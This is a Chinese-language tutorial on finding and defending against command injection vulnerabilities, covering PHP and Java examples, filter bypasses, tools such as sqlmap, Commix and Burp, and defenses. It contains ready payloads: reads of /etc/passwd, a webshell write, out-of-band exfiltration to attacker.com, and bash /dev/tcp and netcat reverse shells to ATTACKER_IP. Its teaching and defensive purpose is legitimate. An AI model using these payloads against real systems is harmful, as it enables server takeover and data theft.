1. 引言
命令执行漏洞(Command Injection)是 Web 安全领域中最危险的漏洞类型之一。攻击者通过构造恶意输入,将系统命令注入到应用程序的调用链中,从而在服务器上执行任意命令,直接获取服务器控制权。无论是传统的 PHP 站点,还是现代的 Java、Python、Node.js 应用,只要开发者将用户输入拼接到系统命令中,就可能引入此类漏洞。
本教程将从漏洞原理出发,结合代码示例、挖掘思路、利用技巧与防御方案,帮助你系统掌握命令执行漏洞的挖掘与防护。
2. 漏洞原理
命令执行漏洞的本质是:应用程序将不可信的用户输入,未经严格过滤或校验,直接拼接进系统命令字符串中,并交由操作系统执行。
以 PHP 为例,以下代码存在典型的命令执行漏洞:
<?php$ip=$_GET['ip'];$result=shell_exec("ping -c 4 ".$ip);echo"<pre>".$result."</pre>";?>当用户输入127.0.0.1时,命令为ping -c 4 127.0.0.1,一切正常。但当用户输入127.0.0.1; whoami时,实际执行的命令变为:
ping-c4127.0.0.1;whoami分号;让操作系统依次执行两条命令,whoami的结果也会被回显,漏洞由此产生。
3. 常见注入点与危险函数
3.1 常见注入点
- 网络诊断功能:
ping、traceroute、nslookup等参数 - 文件处理功能:文件名、路径参数传入
cat、grep、tar等命令 - 系统管理功能:主机名、IP、端口等配置项
- 定时任务、日志导出、备份恢复等功能模块
3.2 各语言危险函数
| 语言 | 危险函数/方法 |
|---|---|
| PHP | system()、exec()、shell_exec()、passthru()、popen()、proc_open() |
| Java | Runtime.getRuntime().exec()、ProcessBuilder |
| Python | os.system()、os.popen()、subprocess.call()、subprocess.run() |
| Node.js | child_process.exec()、child_process.spawn()、child_process.execSync() |
| Go | exec.Command()、exec.CommandContext() |
4. 漏洞挖掘思路
4.1 黑盒测试
黑盒测试指在不查看源码的情况下,通过发送构造的请求来探测漏洞。核心思路是:找到所有可能拼接系统命令的参数,注入命令分隔符与测试命令,观察响应差异。
常用命令分隔符:
;# 分号,顺序执行多条命令|# 管道符,将前一条命令的输出作为后一条的输入||# 逻辑或,前一条失败才执行后一条&&# 逻辑与,前一条成功才执行后一条`# 反引号,命令替换$()# 命令替换(Bash)测试命令示例:
;id|id||id&&id`id`$(id)判断技巧:如果响应中出现了uid=...之类的输出,说明命令已被执行,漏洞确认存在。
常用 Payload 集合
针对不同注入点与过滤场景,可组合使用以下 Payload:
# 基础探测:确认命令是否执行ip=127.0.0.1;idip=127.0.0.1|idip=127.0.0.1||idip=127.0.0.1&&idip=127.0.0.1`id`ip=127.0.0.1$(id)# 无回显场景:时间盲注探测(延迟 5 秒)ip=127.0.0.1;sleep5ip=127.0.0.1|sleep5ip=127.0.0.1&&sleep5ip=127.0.0.1$(sleep5)# 无回显场景:带外(OOB)探测,将结果外带到攻击者服务器ip=127.0.0.1;nslookup`whoami`.attacker.comip=127.0.0.1|curlhttp://attacker.com/`whoami`# 读取文件ip=127.0.0.1;cat/etc/passwdip=127.0.0.1|cat/etc/passwdip=127.0.0.1&&cat/etc/passwd# 写入文件(植入 WebShell)ip=127.0.0.1;echo"<?php system(\$_GET['c']);?>">/var/www/html/shell.php# 反弹 Shell(攻击者先监听 nc -lvnp 4444)ip=127.0.0.1;bash-i>&/dev/tcp/ATTACKER_IP/44440>&1ip=127.0.0.1|ncATTACKER_IP4444-e/bin/shPayload 选择建议:
- 有回显场景:优先使用
;id、|id等直接回显的 Payload,观察响应中是否出现uid=。 - 无回显场景:优先使用
sleep 5时间盲注,对比响应耗时;或使用nslookup、curl将结果外带到自己可控的服务器(OOB)。 - 过滤空格:将 Payload 中的空格替换为
${IFS},如ip=127.0.0.1;cat${IFS}/etc/passwd。 - 过滤关键字:对命令名做变量拼接或编码,如
a=who;b=ami;$a$b。
4.2 白盒审计
白盒审计指直接阅读源码,定位危险函数及其参数来源。审计时重点关注:
- 搜索危险函数调用点(如
system、exec、Runtime.getRuntime().exec) - 回溯参数是否来自用户输入(GET/POST/Cookie/Header/上传文件名)
- 检查是否存在过滤,过滤是否可绕过
// Java 示例:存在漏洞的代码Stringcmd="ping -c 4 "+request.getParameter("ip");Processp=Runtime.getRuntime().exec(cmd);4.3 绕过技巧
当目标存在简单过滤时,可尝试以下绕过方式:
4.3.1 空格过滤
适用场景:目标过滤了空格字符(如将空格替换为空),常见于 WAF 规则或代码中的str_replace(" ", "", $input)类过滤。
局限性:${IFS}依赖 Bash/Sh 环境,在 Windows CMD 或 PowerShell 中不生效;$IFS$9中的$9用于分隔变量名与后续命令,避免解析歧义,但部分精简 Shell 可能不支持。
# 原始命令cat/etc/passwd# 空格被过滤时,用 ${IFS} 代替空格cat${IFS}/etc/passwd# 或用 $IFS$9 代替空格($9 用于分隔变量名)cat$IFS$9/etc/passwd# 结合管道符使用cat${IFS}/etc/passwd|grep${IFS}root4.3.2 关键字过滤
适用场景:目标过滤了whoami、cat、/etc/passwd等敏感关键字(如preg_replace("/whoami/i", "", $input))。
局限性:变量拼接依赖 Shell 的变量展开机制,若目标使用bash -c且未开启变量展开,或过滤规则做了多次递归替换,则可能失效。
# 原始命令whoami# 关键字被过滤时,用变量拼接a=who;b=ami;$a$b# 或用反斜杠转义关键字w\ho\ami# 或用单引号/双引号包裹关键字w'h'o'a'm'i4.3.3 编码绕过
适用场景:目标对输入做了简单的关键字匹配,但未对编码后的内容进行二次解码;或目标命令执行前会经过一次 URL 解码、Base64 解码等处理。
局限性:编码绕过依赖目标是否对输入进行解码。若目标直接拼接原始输入而不做任何解码,编码后的 Payload 反而无法执行;Base64 方式还需要目标环境存在base64命令。
# URL 编码绕过(空格编码为 %20,分号编码为 %3B)# 原始:127.0.0.1; whoami# 编码后:127.0.0.1%3B%20whoami# Base64 编码执行echo"d2hvYW1p"|base64-d|bash# 十六进制编码执行echo"77686f616d69"|xxd-r-p|bash4.3.4 通配符绕过
适用场景:目标过滤了具体命令名或文件路径关键字,但未过滤通配符?、*;常用于绕过对/bin/cat、/etc/passwd等路径的过滤。
局限性:通配符匹配依赖目标 Shell 的路径展开机制,且匹配结果可能不唯一(如/???/???可能匹配多个命令),导致执行失败或执行到非预期命令;部分过滤规则会同时拦截?和*。
# 原始命令cat/etc/passwd# 通配符绕过:/???/??? 匹配 /bin/cat/???/??? /etc/passwd# 更精确的匹配:/bin/c?t 匹配 /bin/cat/bin/c?t /etc/passwd# 结合通配符读取文件cat/etc/pas?wd绕过技巧提示:以上绕过方式仅用于授权测试场景。实际挖掘中,过滤规则往往组合出现,需要多种技巧叠加使用;同时注意观察响应差异,确认绕过是否真正生效,避免盲目尝试。
4.4 自动化检测工具
手动测试之外,借助自动化工具可以大幅提升命令注入漏洞的发现效率。下面介绍三款常用工具及其适用场景、基本用法与输出判读方法。
4.4.1 sqlmap:os-shell 模式
sqlmap 是经典的 SQL 注入检测工具,其--os-shell模式可在确认注入点后,尝试直接获取目标数据库所在服务器的操作系统 Shell,本质上是利用 SQL 注入配合文件读写能力来执行系统命令。
适用场景:目标存在 SQL 注入,且数据库具备文件读写权限(如 MySQL 的FILE权限、SQL Server 的xp_cmdshell)。
基本用法:
# 检测注入点并尝试获取系统 Shellsqlmap-u"http://target.com/item.php?id=1"--os-shell# 指定数据库类型,加快检测速度sqlmap-u"http://target.com/item.php?id=1"--dbms=mysql --os-shell输出判读:当 sqlmap 提示which web application language does the web server support?并成功返回os-shell>交互提示符时,说明已获得命令执行能力。此时可直接输入系统命令(如whoami、cat /etc/passwd)验证权限范围。
4.4.2 Commix:专用命令注入检测器
Commix(Command Injection Exploiter)是专门针对命令注入漏洞的自动化工具,支持多种注入技术(如基于时间延迟、基于输出、基于错误等),并能自动尝试绕过常见过滤。
适用场景:目标存在疑似命令注入点,需要自动化验证与利用;或需要批量测试多个参数。
基本用法:
# 检测指定 URL 中的命令注入commix--url="http://target.com/ping.php?ip=127.0.0.1"# 指定注入参数,并启用自动化绕过commix--url="http://target.com/ping.php?ip=127.0.0.1"--param=ip--level=2# 结合 Burp Suite 抓取的请求文件进行检测commix--request=request.txt输出判读:Commix 检测到漏洞后会输出类似Command injection point identified的提示,并进入交互式 Shell(id命令可直接执行)。若输出中出现The results are based on ... time-based,说明是通过时间盲注方式确认的漏洞,此时应结合响应延迟判断命令是否执行成功。
4.4.3 Burp Suite:Collaborator 与 Intruder
Burp Suite 是 Web 安全测试的通用平台,其 Collaborator 与 Intruder 模块可组合用于命令注入检测。
适用场景:目标无回显(盲注场景),需要借助带外(OOB)通道确认漏洞;或需要对大量参数、Payload 进行批量枚举。
基本用法:
# 1. 在 Burp 的 Collaborator 客户端中生成一个子域名,如 xxxxx.oastify.com# 2. 构造带外 Payload,注入到目标参数中# ip=127.0.0.1; nslookup xxxxx.oastify.com# 3. 使用 Intruder 对参数进行批量 Payload 测试# 将请求发送到 Intruder,标记注入位置,加载 Payload 字典后启动攻击输出判读:在 Collaborator 客户端中,若收到来自目标服务器的 DNS 或 HTTP 交互记录,说明注入的命令已在服务器上执行,漏洞确认。Intruder 的响应对比中,若某个 Payload 的响应长度、状态码或内容与其他明显不同,则需重点人工复核该请求。
工具使用提示:自动化工具能提高效率,但误报率也不低。建议将工具结果与手动验证结合——对工具标记的可疑点,再用 4.1 节的黑盒手法构造 Payload 复测确认,避免误判。
当目标存在简单过滤时,可尝试以下绕过方式:
- 空格被过滤:用
${IFS}或$IFS$9代替空格 - 关键字被过滤:用变量拼接,如
w+hoami - 编码绕过:URL 编码、Base64 编码后解码执行
- 通配符绕过:
/???/???匹配/bin/cat
# 空格被过滤时cat${IFS}/etc/passwd# 关键字被过滤时a=who;b=ami;$a$b# Base64 编码执行echo"d2hvYW1p"|base64-d|bash5. 实战案例
5.1 案例一:Ping 功能注入
某网站提供在线 Ping 工具,请求如下:
POST /tools/ping.php ip=127.0.0.1构造 Payload:
POST /tools/ping.php ip=127.0.0.1;cat /etc/passwd响应中直接返回了/etc/passwd文件内容,漏洞确认。
5.2 案例二:Java 应用命令注入
某 Java Web 应用存在导出日志功能,通过ProcessBuilder调用系统命令:
ProcessBuilderpb=newProcessBuilder("grep",keyword,"/var/log/app.log");虽然ProcessBuilder以数组形式传参,避免了 Shell 拼接,但如果开发者错误地拼接字符串再传给bash -c,同样会引入漏洞:
Stringcmd="grep "+keyword+" /var/log/app.log";Processp=Runtime.getRuntime().exec(newString[]{"/bin/sh","-c",cmd});6. 漏洞利用与危害
命令执行漏洞一旦被利用,攻击者可实现:
- 读取敏感文件:
cat /etc/passwd、cat /etc/shadow - 反弹 Shell:建立交互式会话,长期控制服务器
- 植入后门:写入 WebShell、添加系统用户
- 内网渗透:以服务器为跳板,攻击内网其他主机
- 数据窃取与破坏:拖库、删库、勒索
反弹 Shell 示例(攻击者监听本地端口):
# 攻击者机器上执行nc-lvnp4444# 目标服务器上执行(通过注入点)bash-i>&/dev/tcp/ATTACKER_IP/44440>&17. 防御方案
7.1 最小化命令调用
尽量避免直接调用系统命令。能用 API 实现的功能,就不要走 Shell。例如:
- 网络连通性检测:优先使用编程语言自带的 Socket 库
- 文件处理:使用语言内置的文件操作 API
7.2 参数白名单校验
对用户输入做严格的白名单校验,只允许预期的字符集:
// Java 示例:IP 白名单校验Stringip=request.getParameter("ip");if(!ip.matches("^[0-9.]+$")){thrownewIllegalArgumentException("非法输入");}7.3 使用安全的命令执行方式
避免拼接字符串,改用参数数组方式传参:
// 安全的写法:参数数组,不经过 ShellProcessBuilderpb=newProcessBuilder("ping","-c","4",ip);# Python 安全写法importsubprocess subprocess.run(["ping","-c","4",ip],check=True)7.4 最小权限原则
- 应用程序使用低权限账号运行
- 数据库、文件系统按需授权
- 容器环境开启只读文件系统、禁用特权模式
7.5 部署 WAF 与运行时防护
- 部署 Web 应用防火墙,拦截常见注入 Payload
- 使用 RASP(运行时应用自我保护)产品,在运行时检测命令执行行为
8. 总结
命令执行漏洞的挖掘核心在于:识别用户输入流向系统命令的路径,并验证注入是否生效。黑盒测试关注注入点与回显,白盒审计关注危险函数与参数溯源。防御的关键在于:尽量不调用系统命令、严格校验输入、使用安全的传参方式、遵循最小权限原则。
安全是一个持续对抗的过程,建议读者在本地搭建靶场(如 DVWA、Pikachu)反复练习,将理论与实践结合,才能真正提升漏洞挖掘与防护能力。